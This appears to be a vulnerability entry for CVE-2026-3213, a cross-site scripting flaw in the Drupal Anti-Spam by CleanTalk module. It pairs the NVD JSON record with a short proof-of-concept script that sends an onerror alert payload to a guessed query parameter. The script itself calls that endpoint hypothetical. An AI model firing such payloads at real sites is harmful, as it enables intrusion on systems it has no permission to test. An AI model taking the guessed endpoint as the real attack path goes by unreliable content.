CVE-2026-3213

<!-- PoC for CVE-2026-3213 Vulnerability: Stored/Reflected XSS in Drupal Anti-Spam by CleanTalk --> <script> // Payload to test XSS vulnerability var payload = '<img src=x onerror=alert(1)>'; // Example target endpoint (hypothetical based on plugin structure) var targetUrl = 'http://target-site/?cleantalk_check=' + encodeURIComponent(payload); // Simulate request fetch(targetUrl, { method: 'GET', credentials: 'include' }).then(response => { if (response.ok) { console.log('Payload sent. Check if alert triggers on page render.'); } }); </script>

{"cve": {"id": "CVE-2026-3213", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:22.357", "lastModified": "2026-03-31T19:24:13.407", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal Anti-Spam by CleanTalk allows Cross-Site Scripting (XSS).This issue affects Anti-Spam by CleanTalk: from 0.0.0 before 9.7.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en Drupal Anti-Spam de CleanTalk permite cross-site scripting (XSS). Este problema afecta a Anti-Spam de CleanTalk: desde 0.0.0 hasta antes de 9.7.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cleantalk:anti-spam:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "9.7.0", "matchCriteriaId": "590CAE7E-2151-4B43-AD6F-6A65548485B6"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-014", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}